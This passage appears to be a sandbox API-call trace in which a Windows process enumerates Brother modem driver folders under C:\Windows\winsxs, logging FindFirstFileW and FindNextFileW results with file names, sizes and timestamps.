	[0108.412] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x359bcaf8, ftCreationTime.dwHighDateTime=0x1ca0421, ftLastAccessTime.dwLowDateTime=0x359bcaf8, ftLastAccessTime.dwHighDateTime=0x1ca0421, ftLastWriteTime.dwLowDateTime=0xc9a5876f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrUsbSIb.sys", cAlternateFileName="")) returned 1
	[0108.412] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12ee0e8, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x12ee0e8, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x11e375d, ftLastWriteTime.dwHighDateTime=0x1ca03fc, nFileSizeHigh=0x0, nFileSizeLow=0x9bd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbr005.inf", cAlternateFileName="")) returned 1
	[0108.412] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.412] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.416] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr006.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_d4b4ff44ad1d1278" (normalized: "c:\\windows\\winsxs\\amd64_mdmbr006.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_d4b4ff44ad1d1278"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.416] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr006.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_d4b4ff44ad1d1278\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.417] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.418] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrSerIb.sys.mui", cAlternateFileName="BRSERI~1.MUI")) returned 1
	[0108.418] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbr006.inf_loc", cAlternateFileName="MDMBR0~1.INF")) returned 1
	[0108.418] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.418] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.420] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr006.inf_31bf3856ad364e35_6.1.7600.16385_none_c218b25e6c778a2c" (normalized: "c:\\windows\\winsxs\\amd64_mdmbr006.inf_31bf3856ad364e35_6.1.7600.16385_none_c218b25e6c778a2c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.420] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr006.inf_31bf3856ad364e35_6.1.7600.16385_none_c218b25e6c778a2c\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.420] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.420] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0de0c3b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xf1068368, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xf1068368, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x44a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrSerIb.sys", cAlternateFileName="")) returned 1
	[0108.420] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x359bcaf8, ftCreationTime.dwHighDateTime=0x1ca0421, ftLastAccessTime.dwLowDateTime=0x359bcaf8, ftLastAccessTime.dwHighDateTime=0x1ca0421, ftLastWriteTime.dwLowDateTime=0xc9a5876f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrUsbSIb.sys", cAlternateFileName="")) returned 1
	[0108.420] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd40003d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0xfd40003d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xfd236fe1, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x9cee, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbr006.inf", cAlternateFileName="")) returned 1
	[0108.420] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.420] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.423] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr007.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_186c2c8ed691aa61" (normalized: "c:\\windows\\winsxs\\amd64_mdmbr007.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_186c2c8ed691aa61"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.423] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr007.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_186c2c8ed691aa61\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.425] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.425] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrSerIb.sys.mui", cAlternateFileName="BRSERI~1.MUI")) returned 1
	[0108.425] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbr007.inf_loc", cAlternateFileName="MDMBR0~1.INF")) returned 1
	[0108.425] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.425] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.427] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr007.inf_31bf3856ad364e35_6.1.7600.16385_none_c2a1c4938595c695" (normalized: "c:\\windows\\winsxs\\amd64_mdmbr007.inf_31bf3856ad364e35_6.1.7600.16385_none_c2a1c4938595c695"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.427] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr007.inf_31bf3856ad364e35_6.1.7600.16385_none_c2a1c4938595c695\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.427] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.427] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0de0c3b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xf1068368, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xf1068368, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x44a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrSerIb.sys", cAlternateFileName="")) returned 1
	[0108.427] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x359bcaf8, ftCreationTime.dwHighDateTime=0x1ca0421, ftLastAccessTime.dwLowDateTime=0x359bcaf8, ftLastAccessTime.dwHighDateTime=0x1ca0421, ftLastWriteTime.dwLowDateTime=0xc9a5876f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrUsbSIb.sys", cAlternateFileName="")) returned 1
	[0108.427] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf61263c9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0xf61263c9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xf5e2c885, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x9a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbr007.inf", cAlternateFileName="")) returned 1
	[0108.427] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.427] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.430] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr008.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_5c2359d90006424a" (normalized: "c:\\windows\\winsxs\\amd64_mdmbr008.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_5c2359d90006424a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.431] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr008.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_5c2359d90006424a\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.432] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.432] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrSerIb.sys.mui", cAlternateFileName="BRSERI~1.MUI")) returned 1
	[0108.432] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbr008.inf_loc", cAlternateFileName="MDMBR0~1.INF")) returned 1
	[0108.432] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.432] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.434] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr008.inf_31bf3856ad364e35_6.1.7600.16385_none_c32ad6c89eb402fe" (normalized: "c:\\windows\\winsxs\\amd64_mdmbr008.inf_31bf3856ad364e35_6.1.7600.16385_none_c32ad6c89eb402fe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.434] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr008.inf_31bf3856ad364e35_6.1.7600.16385_none_c32ad6c89eb402fe\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b50f6b9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b50f6b9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.434] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b50f6b9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b50f6b9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.434] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0de0c3b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xf1068368, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xf1068368, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x44a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrSerIb.sys", cAlternateFileName="")) returned 1
	[0108.434] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x359bcaf8, ftCreationTime.dwHighDateTime=0x1ca0421, ftLastAccessTime.dwLowDateTime=0x359bcaf8, ftLastAccessTime.dwHighDateTime=0x1ca0421, ftLastWriteTime.dwLowDateTime=0xc9a5876f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrUsbSIb.sys", cAlternateFileName="")) returned 1
	[0108.434] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbb9a0a9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0xfbb9a0a9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xfba1d307, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x9628, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbr008.inf", cAlternateFileName="")) returned 1
	[0108.434] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.434] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.438] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr00a.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_347fe958a3b2969b" (normalized: "c:\\windows\\winsxs\\amd64_mdmbr00a.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_347fe958a3b2969b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.438] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr00a.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_347fe958a3b2969b\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.439] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.439] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrSerIb.sys.mui", cAlternateFileName="BRSERI~1.MUI")) returned 1
